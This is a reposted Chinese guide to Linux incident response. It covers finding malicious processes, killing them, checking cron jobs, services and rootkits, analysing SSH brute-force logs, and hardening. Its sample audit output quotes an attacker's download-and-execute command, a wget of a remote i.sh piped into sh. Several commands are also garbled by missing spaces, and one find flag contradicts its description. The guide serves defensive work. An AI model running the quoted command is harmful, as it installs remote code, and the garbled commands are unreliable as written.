最全Linux应急响应技巧 【转】
概述
Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。
处理Linux应急响应主要分为这4个环节:识别现象-> 清除病毒-> 闭环兜底-> 系统加固。
首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。
然后定位到具体的病毒进程以及病毒文件,进行清除。
完成前2步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。
将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从Web再次入侵进来。
走完这4个环节,才能算是一个应急响应流程的结束。
识别现象
第1个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。
系统CPU是否异常
枚举进程,CPU降序排序:top
CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了。
是否存在可疑进程
枚举进程命令行:ps -aux
病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。
安全网关有无报警
从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。
监控与目标IP通信的进程:
while true; do netstat -antp | grep [ip]; done
有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控。
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
这样就能得到与之通信的恶意进程了。
有无可疑历史命令
遍历主机历史命令,查找有无恶意命令:history
清除病毒
从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。
结束病毒进程
清除可疑进程的进程链:
ps -elf | grep [pid] kill -9 [pid]
删除病毒文件
定位病毒进程对应的文件路径:
ls -al /proc/[pid]/exe rm -f [exe_path]
闭环兜底
Linux下的病毒持久化驻留方式相比于Windows较少,主要以下4种方式。
检查是否存在可疑定时任务
枚举定时任务:crontab-l
查看anacron异步定时任务:cat/etc/anacrontab
检查是否存在可疑服务
枚举主机所有服务,查看是否有恶意服务:
service--status-all
检查系统文件是否被劫持
枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
检查是否存在病毒守护进程
监控守护进程的行为:lsof-p[pid]
strace-tt-T -etrace=all-p$pid
扫描是否存在恶意驱动
枚举/扫描系统驱动:lsmod
安装chkrootkit进行扫描:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit
安装rkhunter进行扫描:
Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
最后一个环节往往是大家比较容易遗忘的,Linux平台下90%的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为Web安全防护不够,赶紧检查一下。
修改SSH弱密码
查询log主机登陆日志:
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源IP:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破日志的用户名密码:
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。
添加命令审计
为历史的命令增加登录的IP地址、执行命令时间等信息:
[1]保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2]在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
[3]让配置生效:
source /etc/profile
生成效果:
762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh
打上常见Web漏洞补丁
structs2系列RCE漏洞
thinkphp5.XRCE漏洞
Redis未授权访问漏洞
ConfluenceRCE漏洞(CVE_2019_3396)
DrupalRCE漏洞(CVE-2018-7600)
ThinkPHPRCE漏洞(CVE-2019-9082)
结尾
Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于Linux大多作为服务器暴露在公网,且Web应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。
转自
最全Linux应急响应技巧 - FreeBuf互联网安全新媒体平台 https://www.freebuf.com/articles/system/218407.html
最全Linux应急响应技巧 【转】的更多相关文章
- Linux应急响应(二):捕捉短连接
0x00 前言 短连接(short connnection)是相对于长连接而言的概念,指的是在数据传送过程中,只在需要发送数据时,才去建立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一 ...
- Linux应急响应基础
文件排查 敏感目录文件分析 tmp目录 命令目录 /usr/bin /usr/sbin 开机启动项 /etc/init.d /etc/init.d是/etc/rc.d/init.d的软链接 文件时间 ...
- Linux应急响应(四):盖茨木马
0x00 前言 Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,主要恶意特点是具备了后门程序,DDoS攻击的能力,并且会替换常用的系统文件进行伪装.木马得名于其 ...
- Linux应急响应(三):挖矿病毒
0x00 前言 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...
- Linux应急响应(一):SSH暴力破解
0x00 前言 SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全.SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包 ...
- Linux应急响应学习
Linux应急响应-系统日志排查-溯源 溯源 找到攻击者.系统日志分析攻击者的ip 攻击者可能留下了一些代码 样本 网上的信息很大程度上是不可信的. 方法: 蜜罐 高交互的蜜罐 溯源: ip 日志 ...
- Linux应急响应入侵排查思路
0x00 前言 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...
- Linux应急响应思路详谈
一.主机篇: 1.自动化初筛,建议使用RootkitHunter (1)安装 $sudo wget https://jaist.dl.sourceforge.net/project/rkhunter/ ...
- Linux应急响应姿势浅谈
一.前记 无论是甲方还是乙方的同学,应急响应可能都是家常便饭,你可能经常收到如下反馈: 运维同事 --> 服务器上存在可疑进程,系统资源占用高: 网络同事 --> 监控发现某台服务器对外大 ...
随机推荐
- Django 连接 MySQL 数据库及常见报错解决
目录 Django 连接 MySQL数据库及常见报错解决 终端或者数据库管理工具连接 MySQL ,并新建项目所需数据库 安装访问 MySQL 的 Python 模块 Django 相关配置 可能会遇 ...
- GitHub Vue项目推荐|Vue+Element实现的电商后台管理系统功能丰富
GitHub Vue项目推荐|mall-admin-web是一个电商后台管理系统的前端项目基于Vue+Element实现 主要包括商品管理.订单管理.会员管理.促销管理.运营管理.内容管理.统计报表. ...
- 【函数】Oracle函数系列(1)--字符函数
[函数]Oracle函数系列(1)--字符函数 1 BLOG文档结构图 2 前言部分 2.1 导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识 ...
- OSI&TCP/IP模型
OSI模型 OSI协议 基于OSI模型异构网络主机之间通信的协议 1. 应用层 不同的应用程序所在层,如邮件程序,web程序 2. 表示层 不同的文件类型如图片,视频等 3. 会话层 决定是否建立与其 ...
- Laravel 实现前后台用户分离登录
在很多时候,我们需要前台和后台进行不同的登录操作,以限制用户权限,现在用 Laravel 实现这个需求. 前戏 一.获取 Laravel 这个在文档中都有说明的,也比较简单,可以使用 composer ...
- 【异常】ERROR in ch.qos.logback.core.joran.spi.Interpreter@159:22 - no applicable action for [charset], current ElementPath is [[configuration][appender][encoder][charset]]
一.异常信息 Exception in thread "restartedMain" java.lang.reflect.InvocationTargetException at ...
- 解决Mac OS X 系统在home文件夹下面操作不支持的方法
解决Mac OS X 系统在home文件夹下面操作不支持的方法 最近需要使用Mac OS X 系统尝试安装使用appium程序,安装过程中发现,Mac OS X 系统在home文件夹下面操作不支持 ...
- Matplotlib同时绘制多张图片
我现在有一组图片,一共100张图片,每张大小是200*200,即imgs.shape=100*200*200*3 (注意通道数在最后一维). 我需要同时绘制这100张图片,而且每张图片需要写上对应的名 ...
- upd
今天是中华人民共和国成立70周年,先祝我的祖国母亲生日快乐 由于最近嗓子不太好使,我就不发歌了 分割线 在学校挤了一点本来应该发呆的时间写了点没用的 前一部分是对一点OI知识的复习,后一部分是最近高中 ...
- 牛客NOIP暑期七天营-提高组6C:分班问题 (组合数)
题意:A班有N个人,B班有M个人,现在要组成一个新的班级C班,为了公平,从AB班各抽相同人数的人. 现在求所有方案中,人数之和是多少. 思路:即求Σ k*C(N,k)*C(M,k); 先忽略这个 ...